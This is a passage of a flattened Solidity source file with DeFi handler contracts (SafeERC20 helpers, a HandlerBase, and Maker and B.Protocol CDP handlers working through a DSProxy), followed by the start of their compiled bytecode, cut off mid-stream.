{safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/handlers/HandlerBase.sol pragma solidity ^0.6.0; abstract contract HandlerBase is Storage, Config { using SafeERC20 for IERC20; function postProcess() external payable virtual { revert("Invalid post process"); /* Implementation template bytes4 sig = stack.getSig(); if (sig == bytes4(keccak256(bytes("handlerFunction_1()")))) { // Do something } else if (sig == bytes4(keccak256(bytes("handlerFunction_2()")))) { bytes32 temp = stack.get(); // Do something } else revert("Invalid post process"); */ } function _updateToken(address token) internal { stack.setAddress(token); // Ignore token type to fit old handlers // stack.setHandlerType(uint256(HandlerType.Token)); } function _updatePostProcess(bytes32[] memory params) internal { for (uint256 i = params.length; i > 0; i--) { stack.set(params[i - 1]); } stack.set(msg.sig); stack.setHandlerType(HandlerType.Custom); } function getContractName() public pure virtual returns (string memory); function _revertMsg(string memory functionName, string memory reason) internal view { revert( string( abi.encodePacked( _uint2String(_getCubeCounter()), "_", getContractName(), "_", functionName, ": ", reason ) ) ); } function _revertMsg(string memory functionName) internal view { _revertMsg(functionName, "Unspecified"); } function _uint2String(uint256 n) internal pure returns (string memory) { if (n == 0) { return "0"; } else { uint256 len = 0; for (uint256 temp = n; temp > 0; temp /= 10) { len++; } bytes memory str = new bytes(len); for (uint256 i = len; i > 0; i--) { str[i - 1] = bytes1(uint8(48 + (n % 10))); n /= 10; } return string(str); } } function _getBalance(address token, uint256 amount) internal view returns (uint256) { if (amount != uint256(-1)) { return amount; } // ETH case if ( token == address(0) || token == address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) ) { return address(this).balance; } // ERC20 token case return IERC20(token).balanceOf(address(this)); } function _tokenApprove( address token, address spender, uint256 amount ) internal { try IERC20Usdt(token).approve(spender, amount) {} catch { IERC20(token).safeApprove(spender, 0); IERC20(token).safeApprove(spender, amount); } } } // File: contracts/handlers/maker/IMaker.sol pragma solidity ^0.6.0; interface IMakerManager { function cdpCan(address, uint, address) external view returns (uint); function ilks(uint) external view returns (bytes32); function owns(uint) external view returns (address); function urns(uint) external view returns (address); function vat() external view returns (address); function open(bytes32, address) external returns (uint); function give(uint, address) external; function cdpAllow(uint, address, uint) external; function urnAllow(address, uint) external; function frob(uint, int, int) external; function flux(uint, address, uint) external; function move(uint, address, uint) external; function exit(address, uint, address, uint) external; function quit(uint, address) external; function enter(address, uint) external; function shift(uint, uint) external; function count(address) external view returns (uint256); function first(address) external view returns (uint256); function last(address) external view returns (uint256); } interface IMakerVat { function can(address, address) external view returns (uint); function ilks(bytes32) external view returns (uint, uint, uint, uint, uint); function dai(address) external view returns (uint); function urns(bytes32, address) external view returns (uint, uint); function frob(bytes32, address, address, address, int, int) external; function hope(address) external; function move(address, address, uint) external; } interface IMakerGemJoin { function dec() external view returns (uint); function gem() external view returns (address); function join(address, uint) external payable; function exit(address, uint) external; } interface IMakerChainLog { function getAddress(bytes32) external view returns (address); } // File: contracts/handlers/maker/IDSProxy.sol pragma solidity ^0.6.0; interface IDSProxy { function execute(address _target, bytes calldata _data) external payable returns (bytes32 response); function owner() external view returns (address); function setAuthority(address authority_) external; } interface IDSProxyFactory { function isProxy(address proxy) external view returns (bool); function build() external returns (address); function build(address owner) external returns (address); } interface IDSProxyRegistry { function proxies(address input) external view returns (address); function build() external returns (address); function build(address owner) external returns (address); } // File: contracts/handlers/maker/HMaker.sol pragma solidity ^0.6.0; contract HMaker is HandlerBase { using SafeERC20 for IERC20; // prettier-ignore address public constant PROXY_REGISTRY = 0x4678f0a6958e4D2Bc4F1BAF7Bc52E8F3564f3fE4; // prettier-ignore address public constant DAI_TOKEN = 0x6B175474E89094C44Da98b954EedeAC495271d0F; // prettier-ignore address public constant CHAIN_LOG = 0xdA0Ab1e0017DEbCd72Be8599041a2aa3bA7e740F; modifier cdpAllowed(uint256 cdp) { IMakerManager manager = IMakerManager(getCdpManager()); address owner = manager.owns(cdp); address sender = _getSender(); if ( IDSProxyRegistry(PROXY_REGISTRY).proxies(sender) != owner && manager.cdpCan(owner, cdp, sender) != 1 ) _revertMsg("General", "Unauthorized sender of cdp"); _; } function getContractName() public pure virtual override returns (string memory) { return "HMaker"; } function getProxyActions() public pure virtual returns (address) { return 0x82ecD135Dce65Fbc6DbdD0e4237E0AF93FFD5038; } function getCdpManager() public pure virtual returns (address) { return 0x5ef30b9986345249bc32d8928B7ee64DE9435E39; } function getMcdJug() public view returns (address) { return IMakerChainLog(CHAIN_LOG).getAddress("MCD_JUG"); } function openLockETHAndDraw( uint256 value, address ethJoin, address daiJoin, bytes32 ilk, uint256 wadD ) external payable returns (uint256 cdp) { IDSProxy proxy = IDSProxy(_getProxy(address(this))); // if amount == uint256(-1) return balance of Proxy value = _getBalance(address(0), value); try proxy.execute.value(value)( getProxyActions(), abi.encodeWithSelector( // selector of "openLockETHAndDraw(address,address,address,address,bytes32,uint256)" 0xe685cc04, getCdpManager(), getMcdJug(), ethJoin, daiJoin, ilk, wadD ) ) returns (bytes32 ret) { cdp = uint256(ret); } catch Error(string memory reason) { _revertMsg("openLockETHAndDraw", reason); } catch { _revertMsg("openLockETHAndDraw"); } // Update post process bytes32[] memory params = new bytes32[](1); params[0] = bytes32(cdp); _updatePostProcess(params); } function openLockGemAndDraw( address gemJoin, address daiJoin, bytes32 ilk, uint256 wadC, uint256 wadD ) external payable returns (uint256 cdp) { IDSProxy proxy = IDSProxy(_getProxy(address(this))); address token = IMakerGemJoin(gemJoin).gem(); // if amount == uint256(-1) return balance of Proxy wadC = _getBalance(token, wadC); IERC20(token).safeApprove(address(proxy), wadC); try proxy.execute( getProxyActions(), abi.encodeWithSelector( // selector of "openLockGemAndDraw(address,address,address,address,bytes32,uint256,uint256,bool)" 0xdb802a32, getCdpManager(), getMcdJug(), gemJoin, daiJoin, ilk, wadC, wadD, true ) ) returns (bytes32 ret) { cdp = uint256(ret); } catch Error(string memory reason) { _revertMsg("openLockGemAndDraw", reason); } catch { _revertMsg("openLockGemAndDraw"); } IERC20(token).safeApprove(address(proxy), 0); // Update post process bytes32[] memory params = new bytes32[](1); params[0] = bytes32(cdp); _updatePostProcess(params); } function safeLockETH( uint256 value, address ethJoin, uint256 cdp ) external payable { IDSProxy proxy = IDSProxy(_getProxy(address(this))); address owner = _getProxy(_getSender()); // if amount == uint256(-1) return balance of Proxy value = _getBalance(address(0), value); try proxy.execute.value(value)( getProxyActions(), abi.encodeWithSelector( // selector of "safeLockETH(address,address,uint256,address)" 0xee284576, getCdpManager(), ethJoin, cdp, owner ) ) {} catch Error(string memory reason) { _revertMsg("safeLockETH", reason); } catch { _revertMsg("safeLockETH"); } } function safeLockGem( address gemJoin, uint256 cdp, uint256 wad ) external payable { IDSProxy proxy = IDSProxy(_getProxy(address(this))); address owner = _getProxy(_getSender()); address token = IMakerGemJoin(gemJoin).gem(); // if amount == uint256(-1) return balance of Proxy wad = _getBalance(token, wad); IERC20(token).safeApprove(address(proxy), wad); try proxy.execute( getProxyActions(), abi.encodeWithSelector( // selector of "safeLockGem(address,address,uint256,uint256,bool,address)" 0xead64729, getCdpManager(), gemJoin, cdp, wad, true, owner ) ) {} catch Error(string memory reason) { _revertMsg("safeLockGem", reason); } catch { _revertMsg("safeLockGem"); } IERC20(token).safeApprove(address(proxy), 0); } function freeETH( address ethJoin, uint256 cdp, uint256 wad ) external payable cdpAllowed(cdp) { // Check msg.sender authority IDSProxy proxy = IDSProxy(_getProxy(address(this))); try proxy.execute( getProxyActions(), abi.encodeWithSelector( // selector of "freeETH(address,address,uint256,uint256)" 0x7b5a3b43, getCdpManager(), ethJoin, cdp, wad ) ) {} catch Error(string memory reason) { _revertMsg("freeETH", reason); } catch { _revertMsg("freeETH"); } } function freeGem( address gemJoin, uint256 cdp, uint256 wad ) external payable cdpAllowed(cdp) { // Check msg.sender authority IDSProxy proxy = IDSProxy(_getProxy(address(this))); address token = IMakerGemJoin(gemJoin).gem(); try proxy.execute( getProxyActions(), abi.encodeWithSelector( // selector of "freeGem(address,address,uint256,uint256)" 0x6ab6a491, getCdpManager(), gemJoin, cdp, wad ) ) {} catch Error(string memory reason) { _revertMsg("freeGem", reason); } catch { _revertMsg("freeGem"); } // Update post process _updateToken(token); } function draw( address daiJoin, uint256 cdp, uint256 wad ) external payable cdpAllowed(cdp) { // Check msg.sender authority IDSProxy proxy = IDSProxy(_getProxy(address(this))); try proxy.execute( getProxyActions(), abi.encodeWithSelector( // selector of "draw(address,address,address,uint256,uint256)" 0x9f6f3d5b, getCdpManager(), getMcdJug(), daiJoin, cdp, wad ) ) {} catch Error(string memory reason) { _revertMsg("draw", reason); } catch { _revertMsg("draw"); } // Update post process _updateToken(DAI_TOKEN); } function wipe( address daiJoin, uint256 cdp, uint256 wad ) external payable { IDSProxy proxy = IDSProxy(_getProxy(address(this))); IERC20(DAI_TOKEN).safeApprove(address(proxy), wad); try proxy.execute( getProxyActions(), abi.encodeWithSelector( // selector of "wipe(address,address,uint256,uint256)" 0x4b666199, getCdpManager(), daiJoin, cdp, wad ) ) {} catch Error(string memory reason) { _revertMsg("wipe", reason); } catch { _revertMsg("wipe"); } IERC20(DAI_TOKEN).safeApprove(address(proxy), 0); } function wipeAll(address daiJoin, uint256 cdp) external payable { IDSProxy proxy = IDSProxy(_getProxy(address(this))); IERC20(DAI_TOKEN).safeApprove(address(proxy), uint256(-1)); try proxy.execute( getProxyActions(), abi.encodeWithSelector( // selector of "wipeAll(address,address,uint256)" 0x036a2395, getCdpManager(), daiJoin, cdp ) ) {} catch Error(string memory reason) { _revertMsg("wipeAll", reason); } catch { _revertMsg("wipeAll"); } IERC20(DAI_TOKEN).safeApprove(address(proxy), 0); } function postProcess() external payable override { bytes4 sig = stack.getSig(); // selector of openLockETHAndDraw(uint256,address,address,bytes32,uint256) // and openLockGemAndDraw(address,address,bytes32,uint256,uint256) if (sig == 0x5481e4a4 || sig == 0x73af24e7) { _transferCdp(uint256(stack.get())); uint256 amount = IERC20(DAI_TOKEN).balanceOf(address(this)); if (amount > 0) IERC20(DAI_TOKEN).safeTransfer(_getSender(), amount); } else revert("Invalid post process"); } function _getProxy(address user) internal returns (address) { return IDSProxyRegistry(PROXY_REGISTRY).proxies(user); } function _transferCdp(uint256 cdp) internal { IDSProxy proxy = IDSProxy(_getProxy(address(this))); try proxy.execute( getProxyActions(), abi.encodeWithSelector( // selector of "giveToProxy(address,address,uint256,address)" 0x493c2049, PROXY_REGISTRY, getCdpManager(), cdp, _getSender() ) ) {} catch Error(string memory reason) { _revertMsg("_transferCdp", reason); } catch { _revertMsg("_transferCdp"); } } } // File: contracts/handlers/bprotocol/HBProtocol.sol pragma solidity ^0.6.0; contract HBProtocol is HMaker { using SafeERC20 for IERC20; function getContractName() public pure override returns (string memory) { return "HBProtocol"; } function getProxyActions() public pure override returns (address) { return 0x351626387B5bb5408f97F8fD6B2EC415Efc9E6a1; } function getCdpManager() public pure override returns (address) { return 0x3f30c2381CD8B917Dd96EB2f1A4F96D91324BBed; } }
0x60806040526004361061013f5760003560e01c8063895e4990116100b6578063e606df871161006f578063e606df87146103db578063f07ab7be146103f0578063f5f5ba7214610422578063f6596590146104ac578063fa2901a5146104de578063fe285fd5146105105761013f565b8063895e49901461032357806399eb59b914610338578063b98d24b014610362578063c272291614610377578063c3b6cb4b1461037f578063dc9031c4146103b15761013f565b80635481e4a4116101085780635481e4a4146101fa57806363d070a51461023c5780636ddb45661461026e5780637031b5171461029a57806373af24e7146102cc57806387c139431461030e5761013f565b8062e28c52146101445780630f532d18146101755780631413dc7d1461019c5780632537e4b5146101b15780634bbc2987146101e5575b600080fd5b34801561015057600080fd5b50610159610525565b604080516001600160a01b039092168252519081900360200190f35b34801561018157600080fd5b5061018a6105bb565b60408051918252519081900360200190f35b3480156101a857600080fd5b5061018a6105df565b6101e3600480360360608110156101c757600080fd5b506001600160a01b038135169060208101359060400135610603565b005b3480156101f157600080fd5b50610159610a13565b61018a600480360360a081101561021057600080fd5b508035906001600160a01b03602082013581169160408101359091169060608101359060800135610a2b565b6101e36004803603606081101561025257600080fd5b506001600160a01b038135169060208101359060400135610ca6565b6101e36004803603604081101561028457600080fd5b506001600160a01b038135169060200135610f5d565b6101e3600480360360608110156102b057600080fd5b506001600160a01b038135169060208101359060400135611174565b61018a600480360360a08110156102e257600080fd5b506001600160a01b038135811691602081013590911690604081013590606081013590608001356115ec565b34801561031a57600080fd5b5061018a61190b565b34801561032f57600080fd5b50610159611917565b34801561034457600080fd5b5061018a6004803603602081101561035b57600080fd5b503561192f565b34801561036e57600080fd5b50610159611941565b6101e3611959565b6101e36004803603606081101561039557600080fd5b506001600160a01b038135169060208101359060400135611aaa565b3480156103bd57600080fd5b5061018a600480360360208110156103d457600080fd5b5035611cc2565b3480156103e757600080fd5b50610159611ce0565b6101e36004803603606081101561040657600080fd5b506001600160a01b038135169060208101359060400135611cf8565b34801561042e57600080fd5b5061043761212d565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610471578181015183820152602001610459565b50505050905090810190601f16801561049e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101e3600480360360608110156104c257600080fd5b508035906001600160a01b036020820135169060400135612151565b3480156104ea57600080fd5b506104f3612358565b604080516001600160e01b03199092168252519081900360200190f35b34801561051c57600080fd5b50610159612363565b600073da0ab1e0017debcd72be8599041a2aa3ba7e740f6001600160a01b03166321f8a7216040518163ffffffff1660e01b81526004018080664d43445f4a554760c81b815250602001905060206040518083038186803b15801561058957600080fd5b505afa15801561059d573d6000803e3d6000fd5b505050506040513d60208110156105b357600080fd5b505190505b90565b7fb2f2618cecbbb6e7468cc0f2aa43858ad8d153e0280b22285e28e853bb9d453a81565b7ff9543f11459ccccd21306c8881aaab675ff49d988c1162fd1dd9bbcdbe4446be81565b81600061060e612363565b90506000816001600160a01b0316638161b120846040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561065657600080fd5b505afa15801561066a573d6000803e3d6000fd5b505050506040513d602081101561068057600080fd5b50519050600061068e61237b565b9050816001600160a01b0316734678f0a6958e4d2bc4f1baf7bc52e8f3564f3fe46001600160a01b031663c4552791836040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b1580156106fb57600080fd5b505afa15801561070f573d6000803e3d6000fd5b505050506040513d602081101561072557600080fd5b50516001600160a01b0316148015906107d05750826001600160a01b0316635aebb4608386846040518463ffffffff1660e01b815260040180846001600160a01b03168152602001838152602001826001600160a01b03168152602001935050505060206040518083038186803b15801561079f57600080fd5b505afa1580156107b3573d6000803e3d6000fd5b505050506040513d60208110156107c957600080fd5b5051600114155b15610830576108306040518060400160405280600781526020016611d95b995c985b60ca1b8152506040518060400160405280601a8152602001790556e617574686f72697a65642073656e646572206f66206364760341b8152506123ad565b600061083b306125bc565b9050806001600160a01b0316631cff79cd610854611941565b637b5a3b43610861612363565b8c8c8c60405160240180856001600160a01b03168152602001846001600160a01b031681526020018381526020018281526020019450505050506040516020818303038152906040529060e01b6020820180516001600160e01b0383818316178352505050506040518363ffffffff1660e01b815260040180836001600160a01b0316815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561092257818101518382015260200161090a565b50505050905090810190601f16801561094f5780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b15801561096f57600080fd5b505af192505050801561099457506040513d602081101561098f57600080fd5b505160015b610a07576109a0612fd8565b806109ab57506109da565b6109d4604051806040016040528060078152602001660cce4caca8aa8960cb1b815250826123ad565b50610a02565b610a02604051806040016040528060078152602001660cce4caca8aa8960cb1b815250612653565b610a09565b505b5050505050505050565b734678f0a6958e4d2bc4f1baf7bc52e8f3564f3fe481565b600080610a37306125bc565b9050610a44600088612680565b9650806001600160a01b0316631cff79cd88610a5e611941565b63e685cc04610a6b612363565b610a73610525565b8c8c8c8c60405160240180876001600160a01b03168152602001866001600160a01b03168152602001856001600160a01b03168152602001846001600160a01b0316815260200183815260200182815260200196505050505050506040516020818303038152906040529060e01b6020820180516001600160e01b0383818316178352505050506040518463ffffffff1660e01b815260040180836001600160a01b0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610b55578181015183820152602001610b3d565b50505050905090810190601f168015610b825780820380516001836020036101000a031916815260200191505b5093505050506020604051808303818588803b158015610ba157600080fd5b505af193505050508015610bc757506040513d6020811015610bc257600080fd5b505160015b610c5057610bd3612fd8565b80610bde5750610c18565b610c12604051806040016040528060128152602001716f70656e4c6f636b455448416e644472617760701b815250826123ad565b50610c4b565b610c4b604051806040016040528060128152602001716f70656e4c6f636b455448416e644472617760701b815250612653565b610c53565b91505b604080516001808252818301909252606091602080830190803683370190505090508260001b81600081518110610c8657fe5b602002602001018181525050610c9b8161274b565b505095945050505050565b6000610cb1306125bc565b90506000610cc5610cc061237b565b6125bc565b90506000856001600160a01b0316637bd2bea76040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0257600080fd5b505afa158015610d16573d6000803e3d6000fd5b505050506040513d6020811015610d2c57600080fd5b50519050610d3a8185612680565b9350610d506001600160a01b03821684866127aa565b826001600160a01b0316631cff79cd610d67611941565b63ead64729610d74612363565b8a8a8a60018a60405160240180876001600160a01b03168152602001866001600160a01b031681526020018581526020018481526020018315158152602001826001600160a01b0316815260200196505050505050506040516020818303038152906040529060e01b6020820180516001600160e01b0383818316178352505050506040518363ffffffff1660e01b815260040180836001600160a01b0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610e51578181015183820152602001610e39565b50505050905090810190601f168015610e7e5780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b158015610e9e57600080fd5b505af1925050508015610ec357506040513d6020811015610ebe57600080fd5b505160015b610f3e57610ecf612fd8565b80610eda5750610f0d565b610f076040518060400160405280600b81526020016a736166654c6f636b47656d60a81b815250826123ad565b50610f39565b610f396040518060400160405280600b81526020016a736166654c6f636b47656d60a81b815250612653565b610f40565b505b610f556001600160a01b0382168460006127aa565b505050505050565b6000610f68306125bc565b9050610f8b736b175474e89094c44da98b954eedeac495271d0f826000196127aa565b806001600160a01b0316631cff79cd610fa2611941565b63036a2395610faf612363565b878760405160240180846001600160a01b03168152602001836001600160a01b0316815260200182815260200193505050506040516020818303038152906040529060e01b6020820180516001600160e01b0383818316178352505050506040518363ffffffff1660e01b815260040180836001600160a01b0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611068578181015183820152602001611050565b50505050905090810190601f1680156110955780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b1580156110b557600080fd5b505af19250505080156110da57506040513d60208110156110d557600080fd5b505160015b61114d576110e6612fd8565b806110f15750611120565b61111a604051806040016040528060078152602001661dda5c19505b1b60ca1b815250826123ad565b50611148565b611148604051806040016040528060078152602001661dda5c19505b1b60ca1b815250612653565b61114f565b505b61116f736b175474e89094c44da98b954eedeac495271d0f8260006127aa565b505050565b81600061117f612363565b90506000816001600160a01b0316638161b120846040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b1580156111c757600080fd5b505afa1580156111db573d6000803e3d6000fd5b505050506040513d60208110156111f157600080fd5b5051905060006111ff61237b565b9050816001600160a01b0316734678f0a6958e4d2bc4f1baf7bc52e8f3564f3fe46001600160a01b031663c4552791836040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561126c57600080fd5b505afa158015611280573d6000803e3d6000fd5b505050506040513d602081101561129657600080fd5b50516001600160a01b0316148015906113415750826001600160a01b0316635aebb4608386846040518463ffffffff1660e01b815260040180846001600160a01b03168152602001838152602001826001600160a01b03168152602001935050505060206040518083038186803b15801561131057600080fd5b505afa158015611324573d6000803e3d6000fd5b505050506040513d602081101561133a57600080fd5b5051600114155b156113a1576113a16040518060400160405280600781526020016611d95b995c985b60ca1b8152506040518060400160405280601a8152602001790556e617574686f72697a65642073656e646572206f66206364760341b8152506123ad565b60006113ac306125bc565b90506000886001600160a01b0316637bd2bea76040518163ffffffff1660e01b815260040160206040518083038186803b1580156113e957600080fd5b505afa1580156113fd573d6000803e3d6000fd5b505050506040513d602081101561141357600080fd5b505190506001600160a01b038216631cff79cd61142e611941565b636ab6a49161143b612363565b8d8d8d60405160240180856001600160a01b03168152602001846001600160a01b031681526020018381526020018281526020019450505050506040516020818303038152906040529060e01b6020820180516001600160e01b0383818316178352505050506040518363ffffffff1660e01b815260040180836001600160a01b0316815260200180602001828103825283818151815260200191508051906020019080838360005b838110156114fc5781810151838201526020016114e4565b50505050905090810190601f1680156115295780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b15801561154957600080fd5b505af192505050801561156e57506040513d602081101561156957600080fd5b505160015b6115e15761157a612fd8565b8061158557506115b4565b6115ae604051806040016040528060078152602001666672656547656d60c81b815250826123ad565b506115dc565b6115dc604051806040016040528060078152602001666672656547656d60c81b815250612653565b6115e3565b505b610a07816128bd565b6000806115f8306125bc565b90506000876001600160a01b0316637bd2bea76040518163ffffffff1660e01b815260040160206040518083038186803b15801561163557600080fd5b505afa158015611649573d6000803e3d6000fd5b505050506040513d602081101561165f57600080fd5b5051905061166d8186612680565b94506116836001600160a01b03821683876127aa565b816001600160a01b0316631cff79cd61169a611941565b63db802a326116a7612363565b6116af610525565b8d8d8d8d8d600160405160240180896001600160a01b03168152602001886001600160a01b03168152602001876001600160a01b03168152602001866001600160a01b031681526020018581526020018481526020018381526020018215158152602001985050505050505050506040516020818303038152906040529060e01b6020820180516001600160e01b0383818316178352505050506040518363ffffffff1660e01b815260040180836001600160a01b0316815260200180602001828103825283818151815260200191508051906020019080838360005b838110156117a457818101518382015260200161178c565b50505050905090810190601f1680156117d15780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b1580156117f157600080fd5b505af192505050801561181657506040513d602081101561181157600080fd5b505160015b61189f57611822612fd8565b8061182d5750611867565b611861604051806040016040528060128152602001716f70656e4c6f636b47656d416e644472617760701b815250826123ad565b5061189a565b61189a604051806040016040528060128152602001716f70656e4c6f636b47656d416e644472617760701b815250612653565b6118a2565b92505b6118b76001600160a01b0382168360006127aa565b604080516001808252818301909252606091602080830190803683370190505090508360001b816000815181106118ea57fe5b6020026020010181815250506118ff8161274b565b50505095945050505050565b670de0b6b3a764000081565b73da0ab1e0017debcd72be8599041a2aa3ba7e740f81565b60016020526000908152604090205481565b73351626387b5bb5408f97f8fd6b2ec415efc9e6a190565b600061196560006128c8565b9050631520792960e21b6001600160e01b03198216148061199657506373af24e760e01b6001600160e01b03198216145b15611a63576119ad6119a860006128c8565b6128fa565b604080516370a0823160e01b81523060048201529051600091736b175474e89094c44da98b954eedeac495271d0f916370a0823191602480820192602092909190829003018186803b158015611a0257600080fd5b505afa158015611a16573d6000803e3d6000fd5b505050506040513d6020811015611a2c57600080fd5b505190508015611a5d57611a5d611a4161237b565b736b175474e89094c44da98b954eedeac495271d0f9083612afe565b50611aa7565b6040805162461bcd60e51b8152602060048201526014602482015273496e76616c696420706f73742070726f6365737360601b604482015290519081900360640190fd5b50565b6000611ab5306125bc565b9050611ad6736b175474e89094c44da98b954eedeac495271d0f82846127aa565b806001600160a01b0316631cff79cd611aed611941565b634b666199611afa612363565b88888860405160240180856001600160a01b03168152602001846001600160a01b031681526020018381526020018281526020019450505050506040516020818303038152906040529060e01b6020820180516001600160e01b0383818316178352505050506040518363ffffffff1660e01b815260040180836001600160a01b0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611bbb578181015183820152602001611ba3565b50505050905090810190601f168015611be85780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b158015611c0857600080fd5b505af1925050508015611c2d57506040513d6020811015611c2857600080fd5b505160015b611c9a57611c39612fd8565b80611c445750611c70565b611c6a604051806040016040528060048152602001637769706560e01b815250826123ad565b50611c95565b611c95604051806040016040528060048152602001637769706560e01b815250612653565b611c9c565b505b611cbc736b175474e89094c44da98b954eedeac495271d0f8260006127aa565b50505050565b60008181548110611ccf57fe5b600091825260209091200154905081565b736b175474e89094c44da98b954eedeac495271d0f81565b816000611d03612363565b90506000816001600160a01b0316638161b120846040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b158015611d4b57600080fd5b505afa158015611d5f573d6000803e3d6000fd5b505050506040513d6020811015611d7557600080fd5b505190506000611d8361237b565b9050816001600160a01b0316734678f0a6958e4d2bc4f1baf7bc52e8f3564f3fe46001600160a01b031663c4552791836040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b158015611df057600080fd5b505afa158015611e04573d6000803e3d6000fd5b505050506040513d6020811015611e1a57600080fd5b50516001600160a01b031614801590611ec55750826001600160a01b0316635aebb4608386846040518463ffffffff1660e01b815260040180846001600160a01b03168152602001838152602001826001600160a01b03168152602001935050505060206040518083038186803b158015611e9457600080fd5b505afa158015611ea8573d6000803e3d6000fd5b505050506040513d6020811015611ebe57600080fd5b5051600114155b15611f2557611f256040518060400160405280600781526020016611d95b995c985b60ca1b8152506040518060400160405280601a8152602001790556e617574686f72697a65642073656e646572206f66206364760341b8152506123ad565b6000611f30306125bc565b9050806001600160a01b0316631cff79cd611f49611941565b639f6f3d5b611f56612363565b611f5e610525565b8d8d8d60405160240180866001600160a01b03168152602001856001600160a01b03168152602001846001600160a01b03168152602001838152602001828152602001955050505050506040516020818303038152906040529060e01b6020820180516001600160e01b0383818316178352505050506040518363ffffffff1660e01b815260040180836001600160a01b0316815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561202f578181015183820152602001612017565b50505050905090810190601f16801561205c5780820380516001836020036101000a031916815260200191505b509350505050602060405180830381600087803b15801561207c57600080fd5b505af19250505080156120a157506040513d602081101561209c57600080fd5b505160015b61210e576120ad612fd8565b806120b857506120e4565b6120de604051806040016040528060048152602001636472617760e01b815250826123ad565b50612109565b612109604051806040016040528060048152602001636472617760e01b815250612653565b612110565b505b610a09736b175474e89094c44da98b954eedeac495271d0f6128bd565b60408051808201909152600a8152691210941c9bdd1bd8dbdb60b21b602082015290565b600061215c306125bc565b9050600061216b610cc061237b565b9050612178600086612680565b9450816001600160a01b0316631cff79cd86612192611941565b63ee28457661219f612363565b89898860405160240180856001600160a01b03168152602001846001600160a01b03168152602001838152602001826001600160a01b031681526020019450505050506040516020818303038152906040529060e01b6020820180516001600160e01b0383818316178352505050506040518463ffffffff1660e01b815260040180836001600160a01b0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612269578181015183820152602001612251565b50505050905090810190601f1680156122965780820380516001836020036101000a031916815260200191505b5093505050506020604051808303818588803b1580156122b557600080fd5b505af1935050505080156122db57506040513d60208110156122d657600080fd5b505160015b610f55576122e7612fd8565b806122f25750612325565b61231f6040518060400160405280600b81526020016a0e6c2ccca98dec6d68aa8960ab1b815250826123ad565b50612351565b6123516040518060400160405280600b81526020016a0e6c2ccca98dec6d68aa8960ab1b815250612653565b5050505050565b636139148b60e11b81565b733f30c2381cd8b917dd96eb2f1a4f96d91324bbed90565b60006123a860017fb2f2618cecbbb6e7468cc0f2aa43858ad8d153e0280b22285e28e853bb9d453a612b50565b905090565b6123bd6123b8612b63565b612b90565b6123c561212d565b83836040516020018085805190602001908083835b602083106123f95780518252601f1990920191602091820191016123da565b6001836020036101000a03801982511681845116808217855250505050505090500180605f60f81b81525060010184805190602001908083835b602083106124525780518252601f199092019160209182019101612433565b6001836020036101000a03801982511681845116808217855250505050505090500180605f60f81b81525060010183805190602001908083835b602083106124ab5780518252601f19909201916020918201910161248c565b51815160209384036101000a60001901801990921691161790526101d160f51b919093019081528451600290910192850191508083835b602083106125015780518252601f1990920191602091820191016124e2565b6001836020036101000a03801982511681845116808217855250505050505090500194505050505060405160208183030381529060405260405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612581578181015183820152602001612569565b50505050905090810190601f1680156125ae5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b6000734678f0a6958e4d2bc4f1baf7bc52e8f3564f3fe46001600160a01b031663c4552791836040518263ffffffff1660e01b815260040180826001600160a01b0316815260200191505060206040518083038186803b15801561261f57600080fd5b505afa158015612633573d6000803e3d6000fd5b505050506040513d602081101561264957600080fd5b505190505b919050565b611aa7816040518060400160405280600b81526020016a155b9cdc1958da599a595960aa1b8152506123ad565b60006000198214612692575080612745565b6001600160a01b03831615806126c457506001600160a01b03831673eeeeeeeeeeeeeeeeeeeeeee